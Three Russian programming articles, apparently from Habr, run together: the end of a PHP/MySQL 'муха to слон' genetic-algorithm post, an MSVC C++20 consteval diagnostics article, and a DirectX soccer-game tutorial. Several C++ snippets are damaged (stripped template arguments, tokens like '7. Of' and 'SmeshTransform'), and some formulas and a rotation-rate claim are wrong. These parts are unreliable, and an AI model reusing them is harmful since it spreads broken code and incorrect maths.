Сами файлы меня тормозили только на этапе их загрузки в оперативку — порядка 4 сек. А поиск из мухи слона происходил порядка 0,8 сек. Так что в общем зачёте на доступность побеждает версия MySQL, с «загрузкой» порядка 0,002 сек и поиском порядка 0.95 сек. Понятное дело, загружать ей ничего не требуется, после одного-двух прошлых обращений скрипта, кэш прогрет и всё уже загружено и ждёт.
**Структура базы**
```
--
-- База данных: `metagram`
--
-- --------------------------------------------------------
--
-- Структура таблицы `dictionary`
--
CREATE TABLE IF NOT EXISTS `dictionary` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`name` varchar(255) NOT NULL,
`lang` varchar(30) NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `name` (`name`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
-- --------------------------------------------------------
--
-- Структура таблицы `word`
--
CREATE TABLE IF NOT EXISTS `word` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`value` varchar(50) NOT NULL,
`description` varchar(255) DEFAULT NULL,
`dictionary_id` int(11) NOT NULL,
`length` smallint(6) NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `value` (`value`),
KEY `dictionary_id` (`dictionary_id`),
KEY `lenght` (`length`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
-- --------------------------------------------------------
--
-- Структура таблицы `word_pseudo`
--
CREATE TABLE IF NOT EXISTS `word_pseudo` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`value` varchar(50) NOT NULL,
`word_id` int(11) NOT NULL,
`deleted_symbol_pos` smallint(6) NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `value_word_id` (`deleted_symbol_pos`,`value`,`word_id`),
KEY `word_id` (`word_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT= 1 ;
```
Так или иначе, ответ за 1 сек лучше чем за 5 сек.
### 2) Кэширование очевидного узкого места
Изначально, правда, было под 2 сек, из-за обильных запросов SELECT слово ПО ид. Агрессивное кэширование в MySQL-маппере устранило эту проблему. Тоже конечно не оптимальным образом, но и это ещё далеко не хайлоад продакшн, а эксперимент. Вполне терпимо на данном этапе.
**Где то в классе DictionaryMysqlMapper**
```
...
private $_cachedWords;
private $_cachedWordKeys;
...
/**
* Получить слово из словаря по указанному ключу
*
* @param string $key Ключ (идентификатор) слова
* @return string|false|null
*/
public function GetWord($key)
{
if (isset($this->_cachedWords[$key])) {
return $this->_cachedWords[$key];
}
$wordRow = $this->_db->FetchOne("SELECT * FROM `word` WHERE `id` = " . $this->_db->QuoteValue($key));
$this->_cachedWords[$key] = $wordRow['value'];
return $wordRow['value'];
}
```
### 3) Тюнинг размера популяции
И кстати, в результате отлично себя показавшей функции оценки с учётом частот букв, удалось снизить число популяции в поколении со 100 до 50 без ущерба для результата. К слову, даже популяция в 20 показала себя не намного хуже, но оставил 50.
Это позволило заметно снизить время поиска. На примере тех же мухи и слона с примерно 1 сек до 0,5-0,6 секунд.
Итак,
[3-я версия](https://yadi.sk/d/LW_gPhHKkGLdJ) (Вновь PHP 5.4, но уже с MySQL 5.5)
> \*
>
> \* Тут уже и сама статья, по поднятой задачке и объёму, стала «из мухи слоном» )
>
> \* Пора подводить итоги.
>
> \*
---
> Вышел слон на лесную дорожку,
>
> Наступил муравью на ножку
>
> И вежливо
>
> Очень
>
> Сказал муравью:
>
> — Можешь и ты
>
> наступить на мою!
>
> (с) [Рината Муха, «Вежливый слон»](http://www.labirint.ru/books/434340/)
>
>
Итоги
-----
На третьем шаге мы имеем решение задачи на PHP 5.4 + MySQL 5.5, требующее порядка 0,5 сек. на превращение мухи в слона за 9 итераций:
```
'from' => "муха"
'to' => "слон"
'runMode' => "MySQL"
'list' ...
'0' => "муха"
'1' => "маха"
'2' => "мана"
'3' => "манн"
'4' => "ланн"
'5' => "линн"
'6' => "лион"
'7' => "сион"
'8' => "слон"
'timeLoad' => "Инициализация, загрузка словарей: 0,008000 сек."
'time' => "Поиск перехода между словами: 0,551032 сек."
'status' => "готово."
```
Скрипт при этом не потребляет так конски оперативку, как в версии с чисто PHP и файлами словарей (под 100 Мб), потребление самое обычное. Те же данные, хранящиеся в СУБД, ведут себя более пристойно по аппетитам к памяти.
Что дальше?
-----------
Безусловно, решение не идеально, я знаю. Многое ещё можно сделать:
* Вместо одного процесса поиска от начального к искомому, сделать агоритм на двух параллельных процессах поиска: от начального к искомому и от искомого к начальному, с выходом и построением цепочки по первой коллизии пары слов из двух процессов. Насколько я знаю алгоритмы заливки, таклй ход помогает улучшить скорость получения результата в 2-4 раза. Да, генетический алгоритм другой случай, но есть ощущение что вот такое встречное движение и тут даст результат.
* Сделать горизонтальное масштабирование словаря? Раскидать слова разной длины по разным подтаблицам. Для этой задачи это допустимый ход. Ввиде дополнительного поля длины слова и индекса по нему пробовал, — ничего. Значит только партиционирование. Будет ли от этого толк, впрочем, пока затрудняюсь сказать.
* Redis? Memcached?
* Распараллеливание процессов обсчёта поколений генетических мутаций до N штук параллельных процессов, в зависимости от числа ядер на сервере
* Добавить юзер френдли? В цепочках попадаются такие слова, о которых и не слыхивал. Интересно бы в цепочке на клиенте показывать и значение этих слов.
* CP1251? Utf-8 это безусловно прекрасно. Но если работать заведомо только с русскими словарями, или же в сущности словаря указывать кодировку, в которой на самом деле хранятся слова, то почему бы и нет. Строгий 1 байт сильно упрощает работу со строкой для железок, и в 2 раза меньше будет кушать памяти. Это явно неплохо.
* JavaScript версия? В случае массового количества запросов, например хабраэффекта, это неплохая идея — зачем сервер такими вычислениями нагружать, пусть железо на клиенте пыль стряхнёт, кулеры погоняет.
* Серверная версия на C++?
* И наверняка другие ходы, которые пока ещё не приходили в голову.
Тема затягивающая… Может быть, у истории будет продолжение. Во всяком случае, меня зацепило сильно, не меньше чем [Diamond-Square](http://habrahabr.ru/post/111538/).
**PS:**
Конечно, в этой статье нельзя не оставить ссылку на то, [как делают из мухи слона художники](http://habrahabr.ru/post/88327/).
Комментарии и замечания приветствуются! Может упустил какие-то простые и важные вещи. Благодарю за внимание. | https://habr.com/ru/post/270845/ | null | ru | null |
# Как при помощи С++20 мы искоренили целый класс багов, возникавших во время выполнения
C++20 давно в ходу и поддерживается компилятором [MSVC](https://ru.wikipedia.org/wiki/Microsoft_Visual_C%2B%2B) с версии [16.11](https://devblogs.microsoft.com/cppblog/msvc-cpp20-and-the-std-cpp20-switch/), но в этой статье я расскажу не о том, как его использовать, а как с его помощью нам удалось устранить целый класс багов времени выполнения, подвесив специальную проверку во время компиляции. Давайте разберемся с этим подробнее!
Скромное начало
---------------
Одна из первых вещей, которые нужно предусмотреть в дизайне компилятора – сообщить программисту, что у него в исходном коде есть ошибка, либо предупредить программиста, что его код может действовать не так, как ожидается. В MSVC инфраструктура ошибки выглядит примерно так:
```
enum ErrorNumber {
C2000,
C2001,
C2002,
...
};
void error(ErrorNumber, ...);
```
Ошибка `error` работает так: у каждого `ErrorNumber` есть соответствующая строковая запись, и эта строка представляет собой текст, который мы хотим вывести пользователю. Эти текстовые строки могут иметь любой вид от `C2056 -> "illegal expression"` до `C7627 -> "'%1$T': is not a valid template argument for '%2$S'"` но что собой представляют эти `%1$T` и `%2$S`? Это специальные спецификаторы формата, предусмотренные в компиляторе для отображения определенных типов структур пользователю в удобочитаемом виде.
Обоюдоострая суть спецификаторов формата
----------------------------------------
Спецификаторы формата обеспечивают значительную гибкость в работе разработчику компилятора. Спецификаторы формата позволяют явственнее проиллюстрировать, почему именно было выдано диагностическое сообщение, предоставляют пользователю контекст с более подробной характеристикой проблемы. Загвоздка со спецификаторами форматов в том, что при вызове `error` они не проходят проверку типов, поэтому, если тип аргумента у нас случайно окажется неправильным, либо мы вообще не передадим аргумент, то почти наверняка получим ошибку времени выполнения, с которой позже столкнется пользователь. Другие проблемы возникнут, если вы захотите отрефакторить диагностическое сообщение, придав ему более явную форму, но для этого вам потребовалось бы запросить каждого вызывателя данного диагностического сообщения и убедиться, что предложенный рефакторинг согласуется с аргументами, передаваемыми `error`.
При проектировании системы, которая проверяет наши спецификаторы форматов, мы ставим перед собой три наиболее общие цели:
1. Прямо во время компиляции проверяем типы аргументов, передаваемых нашим диагностическим API, так, что допущенная ошибка выявляется как можно раньше.
2. Минимизируем изменения, вносимые в вызывателей диагностических API. Это делается, чтобы правильно сформированные вызовы сохраняли свою оригинальную структуру (и она не разрушалась также у тех вызовов, которые будут делаться в будущем).
3. Минимизируем изменения, вносимые в детали реализации вызываемой стороны. Мы не должны менять поведение диагностических процедур во время выполнения.
Разумеется, есть некоторые решения, введенные в позднейших стандартах C++, при помощи которых также можно было бы попытаться сгладить эту проблему. Во-первых, когда в языке были введены шаблоны с переменным количеством аргументов, появилась возможность попробовать метапрограммирование шаблонов и проверять типы у вызовов к `error`, но для этого нам понадобилась бы отдельная таблица поиска, поскольку возможности constexpr и шаблонов ограничены. В C++14/17 было введено множество улучшений в constexpr и шаблонные аргументы-константы. Отлично сработало бы нечто такое:
```
constexpr ErrorToMessage error_to_message[] = {
{ C2000, fetch_message(C2000) },
{ C2001, fetch_message(C2001) },
...
};
template
constexpr bool are\_arguments\_valid(ErrorNumber n) {
/\* 1. выбрать сообщение
2. разобрать спецификаторы
3. сверить каждый спецификатор с набором параметров T... \*/
return result;
}
```
Итак, у нас наконец-то появились инструменты, позволяющие проверять спецификаторы формата во время компиляции. Но проблема не устранена: по-прежнему нет возможности тихо проверить все имеющиеся вызовы к `error`, и это означает, что нам придется добавить лишний уровень косвенности между точками вызова `error`, чтобы гарантировать, что `ErrorNumber` смогла бы выбрать строку во время компиляции и сверить с ним типы аргументов. В C++17 следующий код бы не работал:
```
template
void error(ErrorNumber n, Ts&&... ts) {
assert(are\_arguments\_valid(n));
/\* работа над ошибками \*/
}
```
И мы не смогли бы превратить `error` как таковой в constexpr, который делает множество вещей, недружелюбных к constexpr. Кроме того, скорректировать все точки вызова в духе `error(a, b, c)`, чтобы можно было проверять номер ошибки как выражение времени выполнения – нехорошо, поскольку это спровоцировало бы в компиляторе множество ненужного брожений.
C++20 в помощь!
---------------
В C++20 мы приобрели важный инструмент, обеспечивающий проверку во время компиляции: `consteval`. `consteval` – это семейство constexpr, но в их случае язык гарантирует, что функция, снабженная `consteval`, будет вычисляться во время компиляции. Хорошо известная библиотека под названием [fmtlib](https://github.com/fmtlib/fmt) вводит проверку времени компиляции в рамках [core API](https://fmt.dev/latest/api.html#core-api), причем, это делается без каких-либо изменений в точках вызова – соответственно, предполагается, что форма точки вызова правильно сформирована для работы с библиотекой. Представьте себе упрощенную версию `fmt`:
```
template
void fmt(const char\* format, T);
int main() {
fmt("valid", 10); // компилируется
fmt("oops", 10); // компилируется?
fmt("valid", "foo"); // компилируется?
}
```
В данном случае задумано, чтобы `format` всегда был равен `"valid"`, а `T` должен представлять собой `int`. В данном случае код `main` имеет неправильную форму относительно библиотеки, но не предусмотрено ничего, что проверяло бы этот момент во время компиляции. В fmtlib проверка во время компиляции достигается при помощи небольшого фокуса с типами, определяемыми пользователем:
```
#include
#include
// Только показываем
#define FAIL\_CONSTEVAL throw
template
struct Checker {
consteval Checker(const char\* fmt) {
if (fmt != std::string\_view{ "valid" }) // #1
FAIL\_CONSTEVAL;
// T должно быть int
if (!std::is\_same\_v) // #2
FAIL\_CONSTEVAL;
}
};
template
void fmt(std::type\_identity\_t> checked, T);
int main() {
fmt("valid", 10); // компилируется
fmt("oops", 10); // не проходит в #1
fmt("valid", "foo"); // не проходит в #2
}
```
Обратите внимание: необходимо выполнить фокус с `std::type_identity_t`, чтобы `checked` не участвовала в выводе типов. Мы хотим только лишь, чтобы она участвовала в выводе остальных аргументов, а выведенные типы этих аргументов будем использовать как шаблонные аргументы для `Checker`.
Можете сами повозиться с этим примером, открыв его в [Compiler Explorer](https://godbolt.org/z/baPvojah1).
Все вместе
----------
Сила вышеприведенного кода в том, что он служит нам инструментом, позволяющим дополнительно проверить безопасность, не затрагивая ни один из правильно сформулированных вызывателей. При помощи вышеприведенной техники мы применили проверку времени компиляции ко всем нашим процедурам сообщений `error`, `warning` и `note`. Код, использованный в компиляторе, практически идентичен вышеприведенному коду `fmt`, за исключением того, что аргументом для `Checker` служит `ErrorNumber`.
Всего нам удалось найти ~**120** случаев, в которых либо передается неправильное количество аргументов диагностическому API, либо передается тип, неверный при работе с конкретным спецификатором формата. С годами накопился багаж багов, касающихся странного поведения компилятора при выдаче диагностических сообщений или прямых ICE (внутренних ошибок компилятора) – все дело было в том, что аргументы, искомые спецификаторами форматов, оказывались некорректными или не существовали. При помощи C++20 мы в основном искоренили возможности возникновения таких багов в будущем, но одновременно предоставили возможность без опаски рефакторить диагностические сообщения. Все это было сделано при помощи одного маленького ключевого слова: `consteval`. | https://habr.com/ru/post/665966/ | null | ru | null |
# Разработка трехмерных игр для Windows 8 с помощью C++ и Microsoft DirectX
Разработка игр — постоянно актуальная тема: всем нравится играть в игры, их охотно покупают, поэтому их выгодно продавать. Но при разработке хороших игр следует обращать немало внимания на производительность. Никому не понравится игра, «тормозящая» или работающая рывками даже на не самых мощных устройствах.
В этой статье я покажу, как разработать простую футбольную 3D игру с использованием Microsoft DirectX и C++, хотя главным образом я занимаюсь разработкой на C#. В прошлом я довольно много работал с C++, но теперь этот язык для меня уже не столь прост. Кроме того, DirectX для меня является новинкой, поэтому эту статью можно считать точкой зрения новичка на разработку игр. Прошу опытных разработчиков простить меня за возможные ошибки.
Мы будем использовать пакет Microsoft Visual Studio 3D Starter Kit — естественный начальный ресурс для всех желающих разрабатывать игры для Windows 8.1.
#### Microsoft Visual Studio 3D Starter Kit
После загрузки [пакета Starter Kit](http://code.msdn.microsoft.com/windowsapps/Visual-Studio-3D-Starter-54ec8d19) можно распаковать его в папку и открыть файл StarterKit.sln. В этом решении есть уже готовый проект C++ для Windows 8.1. При его запуске появится изображение, похожее на рис. 1.
*Рисунок 1. Начальное состояние Microsoft Visual Studio 3D Starter Kit*
Эта программа в составе Starter Kit демонстрирует несколько полезных элементов.
* Анимировано пять объектов: четыре фигуры вращаются вокруг чайника, а чайник, в свою очередь, «танцует».
* Каждый предмет сделан из отдельного материала; некоторые имеют сплошной цвет, а поверхность куба представляет собой растровый рисунок.
* Источник света находится в верхнем левом углу сцены.
* В правом нижнем углу экрана расположен счетчик кадровой скорости (количество кадров в секунду).
* Сверху находится индикатор очков.
* Если щелкнуть какой-либо предмет, он выделяется и увеличивается количество очков.
* Если щелкнуть экран игры правой кнопкой мыши или провести по экрану от нижнего края к середине, появятся две кнопки для последовательного переключения цвета чайника.
Основной цикл игры находится в файле *StarterKitMain.cpp*, где отрисовывается страница и счетчик кадровой скорости. *Game.cpp* содержит игровой цикл и проверку нажатий. В этом файле в методе *Update* вычисляется анимация, а в методе *Render* происходит отрисовка всех объектов. Счетчик кадровой скорости отрисовывается в *SampleFpsTextRenderer.cpp*. Объекты игры находятся в папке *Assets*. *Teapot.fbx* — это чайник, а файл *GameLevel.fbx* содержит четыре фигуры, которые вращаются вокруг танцующего чайника.
Теперь, ознакомившись с образцом приложения в пакете Starter Kit, можно перейти к созданию собственной игры.
#### Добавление ресурсов в игру
Мы разрабатываем игру в футбол, поэтому самым первым нашим ресурсом должен быть футбольный мяч, который мы добавим в *Gamelevel.fbx*. Сначала нужно удалить из этого файла четыре фигуры, выделив каждую из них и нажав кнопку Delete. В обозревателе решений удалите и файл *CubeUVImage.png*, поскольку он нам не нужен: это текстура для куба, который мы только что удалили.
Теперь добавляем сферу в модель. Откройте инструменты (если их не видно, щелкните View > Toolbox) и дважды щелкните сферу, чтобы добавить ее в модель. Нам также требуется растянутая текстура, такая как на рис. 2.
*Рисунок 2. Текстура футбольного мяча, приспособленная к сфере*
Если вы не хотите создавать собственные модели в Visual Studio, можно найти готовые модели в Интернете. Visual Studio поддерживает любые модели в формате FBX, DAE и OBJ: достаточно добавить их в состав ресурсов решения. Например, можно использовать файл .obj, подобный показанному на рис. 3 (бесплатная модель с сайта [TurboSquid](http://www.turbosquid.com)).
*Рисунок 3. Трехмерная OBJ-модель мяча*
#### Анимация модели
Модель готова, теперь пора ее анимировать. Но сначала нужно убрать чайник, поскольку он нам не понадобится. В папке Assets удалите файл *teapot.fbx*. Теперь удалите его загрузку и анимацию. В файле *Game.cpp* загрузка моделей происходит асинхронно в *CreateDeviceDependentResources*:
**Код**
```
// Load the scene objects.
auto loadMeshTask = Mesh::LoadFromFileAsync(
m_graphics,
L"gamelevel.cmo",
L"",
L"",
m_meshModels)
.then([this]()
{
// Load the teapot from a separate file and add it to the vector of meshes.
return Mesh::LoadFromFileAsync(
```
Нужно изменить модель и удалить продолжение задачи, чтобы загружался только мяч:
**Код**
```
void Game::CreateDeviceDependentResources()
{
m_graphics.Initialize(m_deviceResources->GetD3DDevice(), m_deviceResources->GetD3DDeviceContext(), m_deviceResources->GetDeviceFeatureLevel());
// Set DirectX to not cull any triangles so the entire mesh will always be shown.
CD3D11_RASTERIZER_DESC d3dRas(D3D11_DEFAULT);
d3dRas.CullMode = D3D11_CULL_NONE;
d3dRas.MultisampleEnable = true;
d3dRas.AntialiasedLineEnable = true;
ComPtr p3d3RasState;
m\_deviceResources->GetD3DDevice()->CreateRasterizerState(&d3dRas, &p3d3RasState);
m\_deviceResources->GetD3DDeviceContext()->RSSetState(p3d3RasState.Get());
// Load the scene objects.
auto loadMeshTask = Mesh::LoadFromFileAsync(
m\_graphics,
L"gamelevel.cmo",
L"",
L"",
m\_meshModels);
(loadMeshTask).then([this]()
{
// Scene is ready to be rendered.
m\_loadingComplete = true;
});
}
```
Методу *ReleaseDeviceDependentResources* нужно лишь очистить сетки:
**Код**
```
void Game::ReleaseDeviceDependentResources()
{
for (Mesh* m : m_meshModels)
{
delete m;
}
m_meshModels.clear();
m_loadingComplete = false;
}
```
Теперь нужно изменить метод *Update*, чтобы вращался только мяч:
**Код**
```
void Game::Update(DX::StepTimer const& timer)
{
// Rotate scene.
m_rotation = static_cast(timer.GetTotalSeconds()) \* 0.5f;
}
```
Для управления скоростью вращения используется множитель (0.5f). Чтобы мяч вращался быстрее, нужно просто увеличить этот множитель. За каждую секунду мяч будет поворачиваться на угол 0,5/(2 \* Пи) радиан. Метод *Render* отрисовывает мяч с нужным углом вращения:
**Код**
```
void Game::Render()
{
// Loading is asynchronous. Only draw geometry after it's loaded.
if (!m_loadingComplete)
{
return;
}
auto context = m_deviceResources->GetD3DDeviceContext();
// Set render targets to the screen.
auto rtv = m_deviceResources->GetBackBufferRenderTargetView();
auto dsv = m_deviceResources->GetDepthStencilView();
ID3DllRenderTargetView *const targets[1] = { rtv };
context->OMSetRenderTargets(1, targets, dsv);
// Draw our scene models.
XMMATRIX rotation = XMMatrixRotationY(m_rotation);
for (UINT i = 0; i < m_meshModels.size() ; i++)
{
XMMATRIX modelTransform = rotation;
String^ meshName = ref new String (m_meshModels [i]->Name ()) ;
m_graphics.UpdateMiscConstants(m_miscConstants);
m_meshModels[i]->Render(m_graphics, modelTransform); } }
ToggleHitEffect здесь не будет работать: свечение мяча не изменится при его нажатии.
void Game :: ToggleHitEf feet (String^ object)
{
}
```
Нам не нужно, чтобы изменялась подсветка мяча, но нужно получать данные о его касании. Для этого используем измененный метод *onHitobject*:
**Код**
```
String^ Game: :OnHitobject (int x , int y)
{
String^ result = nullptr;
XMFLOAT3 point;
XMFLOAT3 dir;
m_graphics.GetCamera().GetWorldLine(x, y, &point, &dir);
XMFLOAT4X4 world;
XMMATRIX worldMat = XMMatrixRotationY(m_rotation);
XMStoreFloat4x4(&world, worldMat);
float closestT = FLT_MAX;
for (Mesh* m : m_meshModels) {
XMFLOAT4X4 meshTransform = world;
auto name = ref new String(m->Name());
float t = 0;
bool hit = HitTestingHelpers::LineHitTest(*m, &point, &dir, SmeshTransform, &t);
if (hit && t < closestT)
{
result = name;
} }
return result; }
```
Если сейчас запустить проект, вы увидите, что мяч вращается вокруг своей оси Y. Теперь приведем мяч в движение.
#### Движение мяча
Чтобы мяч двигался, нужно перемещать его, например, вверх и вниз. Сначала нужно объявить переменную для текущего положения мяча в *Game.h*:
**Код**
```
class Game
{
public:
// snip private:
// snip
float m_translation;
```
Затем в методе Update нужно вычислить текущее положение:
**Код**
```
void Game::Update(DX::StepTimer consts timer)
{
// Rotate scene.
m_rotation = static_cast(timer.GetTotalSeconds()) \* 0.5f;
const float maxHeight = 7. Of;
auto totalTime = (float) fmod(timer.GetTotalSeconds(), 2.0f);
m\_translation = totalTime > 1.0f ?
maxHeight - (maxHeight \* (totalTime - 1.0f)) : maxHeight \*totalTime;
}
```
Теперь мяч будет подниматься и опускаться каждые 2 секунды. В течение первой секунды мяч будет подниматься, в течение следующей секунды — опускаться. Метод Render вычисляет получившуюся матрицу и отрисовывает мяч в новом положении:
**Код**
```
void Game::Render() {
// snip
// Draw our scene models.
XMMATRIX rotation = XMMatrixRotationY(m_rotation);
rotation *= XMMatrixTranslation(0, m_translation, 0);
```
Если сейчас запустить проект, вы увидите, что мяч движется вверх и вниз с постоянной скоростью. Теперь нужно придать мячу физические свойства.
#### Добавление физики мяча
Чтобы придать мячу физические эффекты, нужно сымитировать воздействие на него силы, представляющей гравитацию. Если вы помните школьный курс физики, то знаете, что ускоренное движение тела описывается следующими уравнениями:
*s = s0 + v0t + 1/2at2
v = v0 + at*
Где s — положение тела в момент t, s0 — начальное положение, v0 — начальная скорость, a — ускорение. Для движения по вертикали a — ускорение свободного падения (-10 м/с2), а s0 = 0 (сначала мяч находится на земле, то есть на нулевой высоте). Уравнения превращаются в следующие:
*s = v0t-5t2
v = v0-10t*
Мы хотим достигнуть максимальной высоты за 1 секунду. На максимальной высоте скорость равна 0. Поэтому второе уравнение позволяет найти начальную скорость:
*0 = v0 — 10 \* 1 => v0 = 10 м/с*
Это дает нам перемещение мяча:
*s = 10t — 5t2*
Нужно изменить метод *Update*, чтобы использовать это уравнение:
**Код**
```
void Game::Update(DX::StepTimer consts timer) {
// Rotate scene.
m_rotation = static_cast(timer.GetTotalSeconds()) \* 0.5f;
auto totalTime = (float) fmod(timer.GetTotalSeconds(), 2.0f);
m\_translation = 10\*totalTime - 5 \*totalTime\*totalTime;
}
```
Теперь, когда мяч реалистично движется вверх и вниз, пора добавить футбольное поле.
#### Добавление футбольного поля
Чтобы добавить футбольное поле, нужно создать новую сцену. В папке Assets щелкните правой кнопкой мыши, чтобы добавить новую трехмерную сцену, и назовите ее *field.fbx*. Из набора инструментов добавьте плоскость и выберите ее, измените ее размер по оси X на 107, а по оси Z на 60. Задайте для свойства этой плоскости *Texture1* изображение футбольного поля.
Теперь можно использовать средство масштабирования (или нажимать клавишу Z) для уменьшения изображения.
Затем нужно загрузить модель в *CreateDeviceDependentResources* в *Game.cpp*:
**Код**
```
void Game::CreateDeviceDependentResources() {
// snip
// Load the scene objects.
auto loadMeshTask = Mesh::LoadFromFileAsync(
m_graphics,
L"gamelevel.cmo",
L"",
L"",
m_meshModels)
.then([this]()
{
return Mesh::LoadFromFileAsync(
m_graphics,
L"field.cmo",
L"",
L"",
m_meshModels,
false // Do not clear the vector of meshes
);
});
(loadMeshTask) .then([this] ()
{
// Scene is ready to be rendered.
m_loadingComplete = true;
});
}
```
При запуске программы вы увидите, что поле прыгает вместе с мячом. Чтобы поле перестало двигаться, нужно изменить метод Render:
**Код**
```
// Renders one frame using the Starter Kit helpers,
void Game::Render()
{
// snip
for (UINT i = 0; i < m_meshModels.size(); i++)
{
XMMATRIX modelTransform = rotation;
String^ meshName = ref new String(m_meshModels[i]->Name());
m_graphics.UpdateMiscConstants(m_miscConstants);
if (String::CompareOrdinal(meshName, L"Sphere_Node") == 0)
m_meshModels[i]->Render(m_graphics, modelTransform);
else
m_meshModels[i]->Render(m_graphics, XMMatrixIdentity());
}
}
```
При этом изменении преобразование применяется только к мячу. Поле отрисовывается без преобразования. Если запустить код сейчас, вы увидите, что мяч отскакивает от поля, но «проваливается» в него в нижней части. Для исправления этой ошибки нужно перенести поле на -0,5 по оси Y. Выберите поле и измените его перенос по оси Y на -0,5. Теперь при запуске приложения мяч будет отскакивать от поля, как на рис. 4.
*Рисунок 4. Мяч отскакивает от поля*
#### Задание положения камеры и мяча
Мяч расположен в центре поля, но нам он там не нужен. В этой игре мяч должен находиться на 11-метровой отметке. Следует переместить мяч по оси X, изменив перемещение мяча в методе *Render* в *Game.cpp*:
```
rotation *= XMMatrixTranslation(63.0, m_translation, 0);
```
Мяч перемещается на 63 единицы по оси X, то есть устанавливается на 11-метровую отметку. После этого изменения вы перестанете видеть мяч, поскольку он вне поля зрения камеры: камера установлена в центре поля и направлена на середину. Нужно изменить положение камеры, чтобы она была направлена на линию ворот. Это нужно сделать в *CreateWindowSizeDependentResources* в файле *Game.cpp*:
**Код**
```
m_graphics.GetCamera().SetViewport((UINT) outputSize.Width, (UINT) outputSize.Height);
m_graphics.GetCamera().SetPosition(XMFLOAT3(25.Of, 10.0f, 0.0f));
m_graphics.GetCamera().SetLookAt(XMFLOAT3(100.0f, 0.0f, 0.0f));
float aspectRatio = outputSize.Width / outputSize.Height;
float fovAngleY = 30.0f * XM_PI / 180.0f;
if (aspectRatio < 1.0f)
{
// Portrait or snap view
m_graphics.GetCamera().SetUpVector(XMFLOAT3(1.0f, 0.0f, 0.0f));
fovAngleY = 120.0f * XM_PI / 180.0f;
} else
{
// Landscape view.
m_graphics.GetCamera().SetUpVector(XMFLOAT3(0.0f, 1.0f, 0.0f));
}
m_graphics.GetCamera().SetProjection(fovAngleY, aspectRatio, 1.0f, 100.0f);
```
Теперь камера находится между отметкой середины поля и 11-метровой отметкой и направлена в сторону линии ворот. Новое представление показано на рис. 5.
*Рисунок 5. Измененное положение мяча и новое положение камеры*
#### Добавление штанги ворот
Чтобы добавить на поле ворота, понадобится новая трехмерная сцена с воротами. Можно создать собственную модель или использовать готовую. Эту модель следует добавить в папку Assets, чтобы ее можно было скомпилировать и использовать.
Эту модель нужно загрузить в методе *CreateDeviceDependentResources* в файле *Game.cpp*:
**Код**
```
auto loadMeshTask = Mesh::LoadFromFileAsync(
m_graphics,
L"gamelevel.cmo",
L"",
L"",
m_meshModels)
.then([this]()
{
return Mesh::LoadFromFileAsync(
m_graphics,
L"field.cmo",
L"",
L"",
m_meshModels,
false // Do not clear the vector of meshes
);
}).then([this]()
{
return Mesh::LoadFromFileAsync(
m_graphics,
L"soccer_goal.cmo",
L"",
L"",
m_meshModels,
false // Do not clear the vector of meshes
);
});
```
После загрузки задайте положение и отрисуйте в методе *Render* в *Game.cpp*:
**Код**
```
auto goalTransform = XMMatrixScaling(2.0f, 2.0f, 2.0f) * XMMatrixRotationY(-XM_PIDIV2)* XMMatrixTranslation(85.5f, -0.5, 0);
for (UINT i = 0; i < m_meshModels.size() ; i++)
{
XMMATRIX modelTransform = rotation;
String'^ meshName = ref new String (m_meshModels [i]->Name ()) ;
m_graphics.UpdateMiscConstants(m_miscConstants);
if (String::CompareOrdinal(meshName, L"Sphere_Node") == 0) m_meshModels[i]->Render(m_graphics, modelTransform);
else if (String::CompareOrdinal(meshName, L"Plane_Node") == 0) m_meshModels[i]->Render(m_graphics, XMMatrixIdentity());
else
m_meshModels[i]->Render(m_graphics, goalTransform); }
```
Это изменение применяет преобразование к воротам и отрисовывает их. Это преобразование является сочетанием трех преобразований: масштабированием (увеличение исходного размера в 2 раза), поворотом на 90 градусов и перемещением на 85,5 единиц по оси X и на -0,5 единиц по оси Y из-за глубины поля. После этого ворота устанавливаются лицом к полю на линии ворот. Обратите внимание, что важен порядок преобразований: если применить вращение после перемещения, то ворота будут отрисованы совсем в другом месте, и вы их не увидите.
#### Удар по мячу
Все элементы установлены на свои места, но мяч все еще подпрыгивает. Пора по нему ударить. Для этого нужно снова применить физические навыки. Удар по мячу выглядит примерно так, как показано на рис. 6.
*Рисунок 6. Схема удара по мячу*
Удар по мячу осуществляется с начальной скоростью v0 под углом α (если не помните школьные уроки физики, поиграйте немного в Angry Birds, чтобы увидеть этот принцип в действии). Движение мяча можно разложить на два разных движения: по горизонтали — это движение с постоянной скоростью (исходим из того, что отсутствует сопротивление воздуха и воздействие ветра), а также вертикальное движение — такое же, как мы использовали раньше. Уравнение движения по горизонтали:
*sX = s0 + v0\*cos(α)\*t*
Уравнение движения по вертикали:
*sY = s0 + v0\*sin(α)\*t — 1/2\*g\*t2*
Таким образом, у нас два перемещения: одно по оси X, другое по оси Y. Если удар нанесен под углом 45 градусов, то *cos(α) = sin(α) = sqrt(2)/2*, поэтому *v0\*cos(α) = v0\*sin(a)\*t*. Нужно, чтобы мяч попал в ворота, поэтому дальность удара должна превышать 86 единиц (расстояние до линии ворот равно 85,5). Нужно, чтобы полет мяча занимал 2 секунды. При подстановке этих значений в первое уравнение получим:
*86 = 63 + v0\* cos(α) \* 2 >= v0\* cos(α) = 23/2 = 11,5*
Если заменить значения в уравнении, то уравнение перемещения по оси Y будет таким:
*sY = 0 + 11,5\*t-5\*t2*
А по оси X — таким:
*sX = 63 + 11,5\*t*
Уравнение для оси Y дает нам время, когда мяч снова ударится о землю. Для этого нужно решить квадратное уравнение (да, я понимаю, что вы надеялись навсегда распрощаться с ними после школьного курса алгебры, но тем не менее вот оно):
*(-b ± sqrt(b0 — 4\*a\*c))/2\*a >= (-11,5 ± sqrt(11,52 — 4 \* -5 \* 0)/2 \* -5 >= 0 или 23/10 >= 2,3 с*
Этими уравнениями можно заменить перемещение для мяча. Сначала в *Game.h* создайте переменные для сохранения перемещения по трем осям:
*float m\_translationX, m\_translationY, m\_translationZ;*
Затем в методе *Update* в *Game.cpp* добавьте уравнения:
**Код**
```
void Game::Update(DX::StepTimer consts timer)
{
// Rotate scene.
m_rotation = static_cast(timer.GetTotalSeconds()) \* 0.5f;
